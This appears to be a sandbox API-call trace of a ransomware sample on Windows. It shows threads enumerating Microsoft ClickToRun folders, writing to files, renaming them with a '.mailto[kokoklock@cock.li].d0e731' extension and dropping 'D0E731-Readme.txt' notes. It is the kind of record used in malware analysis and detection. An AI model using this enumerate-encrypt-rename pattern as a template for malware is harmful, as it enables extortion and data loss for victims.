returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x342d960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x342d960*, lpNumberOfBytesWritten=0x2833fca4*=0x8, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x2833fcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x2833fcbc*, lpNumberOfBytesWritten=0x2833fca4*=0x4, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2833fca4*=0x4, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2833fca4*=0x6c, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x342d820*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x342d820*, lpNumberOfBytesWritten=0x2833fca4*=0x20, lpOverlapped=0x0) returned 1 [0084.088] WriteFile (in: hFile=0x670, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2833fca4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2833fca4*=0x4, lpOverlapped=0x0) returned 1 [0084.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d848) returned 1 [0084.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d960) returned 1 [0084.088] CloseHandle (hObject=0x670) returned 1 [0084.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x120) returned 0x34226e8 [0084.089] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" [0084.089] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" [0084.089] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.089] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.090] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", dwFileAttributes=0x20) returned 0 [0084.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x34940b8 [0084.090] wcscpy (in: _Dest=0x34940b8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0084.090] wcscat (in: _Dest=0x34940b8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" [0084.090] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\d0e731-readme.txt")) returned 0xffffffff [0084.090] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.090] WriteFile (in: hFile=0x670, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2833fca0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2833fca0*=0x481, lpOverlapped=0x0) returned 1 [0084.092] CloseHandle (hObject=0x670) returned 1 [0084.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34940b8) returned 1 [0084.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34333d8) returned 1 [0084.092] RtlExitUserThread (Status=0x1) Thread: id = 1133 os_tid = 0xffc [0082.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f1300 [0082.788] wcscpy (in: _Dest=0x33f1300, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" [0082.789] wcscat (in: _Dest=0x33f1300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\" [0082.789] wcscat (in: _Dest=0x33f1300, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" [0082.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34add60 [0082.789] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x34add60 | out: lpFindFileData=0x34add60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0398 [0086.517] wcscmp (_String1=".", _String2=".") returned 0 [0086.517] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x34add60 | out: lpFindFileData=0x34add60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.517] wcscmp (_String1="..", _String2=".") returned 1 [0086.517] wcscmp (_String1="..", _String2="..") returned 0 [0086.517] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x34add60 | out: lpFindFileData=0x34add60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.517] FindClose (in: hFindFile=0x33e0398 | out: hFindFile=0x33e0398) returned 1 [0086.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34add60) returned 1 [0086.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1300) returned 1 [0086.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6720) returned 1 [0086.517] RtlExitUserThread (Status=0x0) Thread: id = 1134 os_tid = 0x3a8 [0082.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348b420 [0082.789] wcscpy (in: _Dest=0x348b420, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" [0082.789] wcscat (in: _Dest=0x348b420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\" [0082.789] wcscat (in: _Dest=0x348b420, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" [0082.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34acef0 [0082.790] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x34acef0 | out: lpFindFileData=0x34acef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0018 [0084.065] wcscmp (_String1=".", _String2=".") returned 0 [0084.065] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x34acef0 | out: lpFindFileData=0x34acef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.066] wcscmp (_String1="..", _String2=".") returned 1 [0084.066] wcscmp (_String1="..", _String2="..") returned 0 [0084.066] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x34acef0 | out: lpFindFileData=0x34acef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0084.066] wcscmp (_String1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", _String2=".") returned 1 [0084.066] wcscmp (_String1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", _String2="..") returned 1 [0084.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8) returned 0x3494a58 [0084.066] wcscpy (in: _Dest=0x3494a58, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" [0084.066] wcscat (in: _Dest=0x3494a58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\" [0084.066] wcscat (in: _Dest=0x3494a58, _Source="{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" [0084.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3494a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0084.775] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x34acef0 | out: lpFindFileData=0x34acef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0084.776] FindClose (in: hFindFile=0x33e0018 | out: hFindFile=0x33e0018) returned 1 [0084.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34acef0) returned 1 [0084.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b420) returned 1 [0084.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c0c8) returned 1 [0084.776] RtlExitUserThread (Status=0x0) Thread: id = 1135 os_tid = 0xf4c [0082.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd0) returned 0x3476ca0 [0082.790] wcscpy (in: _Dest=0x3476ca0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" [0082.790] wcscat (in: _Dest=0x3476ca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\" [0082.790] wcscat (in: _Dest=0x3476ca0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*" [0082.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34abe18 [0082.790] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x34abe18 | out: lpFindFileData=0x34abe18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0088.432] wcscmp (_String1=".", _String2=".") returned 0 [0088.432] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34abe18 | out: lpFindFileData=0x34abe18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.433] wcscmp (_String1="..", _String2=".") returned 1 [0088.433] wcscmp (_String1="..", _String2="..") returned 0 [0088.433] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34abe18 | out: lpFindFileData=0x34abe18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0088.433] wcscmp (_String1="stream.x86.en-us.man.dat", _String2=".") returned 1 [0088.433] wcscmp (_String1="stream.x86.en-us.man.dat", _String2="..") returned 1 [0088.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfe) returned 0x3434b40 [0088.433] wcscpy (in: _Dest=0x3434b40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" [0088.433] wcscat (in: _Dest=0x3434b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\" [0088.433] wcscat (in: _Dest=0x3434b40, _Source="stream.x86.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" [0088.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0088.667] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34abe18 | out: lpFindFileData=0x34abe18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0088.667] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0088.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34abe18) returned 1 [0088.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476ca0) returned 1 [0088.668] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34770d8) returned 1 [0088.668] RtlExitUserThread (Status=0x0) Thread: id = 1136 os_tid = 0x498 [0082.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3493638 [0082.791] wcscpy (in: _Dest=0x3493638, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" [0082.791] wcscat (in: _Dest=0x3493638, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\" [0082.791] wcscat (in: _Dest=0x3493638, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*" [0082.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ad158 [0082.791] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x34ad158 | out: lpFindFileData=0x34ad158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e01d8 [0088.434] wcscmp (_String1=".", _String2=".") returned 0 [0088.434] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x34ad158 | out: lpFindFileData=0x34ad158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.434] wcscmp (_String1="..", _String2=".") returned 1 [0088.434] wcscmp (_String1="..", _String2="..") returned 0 [0088.434] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x34ad158 | out: lpFindFileData=0x34ad158*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0088.434] wcscmp (_String1="stream.x86.x-none.man.dat", _String2=".") returned 1 [0088.434] wcscmp (_String1="stream.x86.x-none.man.dat", _String2="..") returned 1 [0088.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x102) returned 0x3479848 [0088.434] wcscpy (in: _Dest=0x3479848, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" [0088.434] wcscat (in: _Dest=0x3479848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\" [0088.434] wcscat (in: _Dest=0x3479848, _Source="stream.x86.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" [0088.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0088.665] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x34ad158 | out: lpFindFileData=0x34ad158*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, 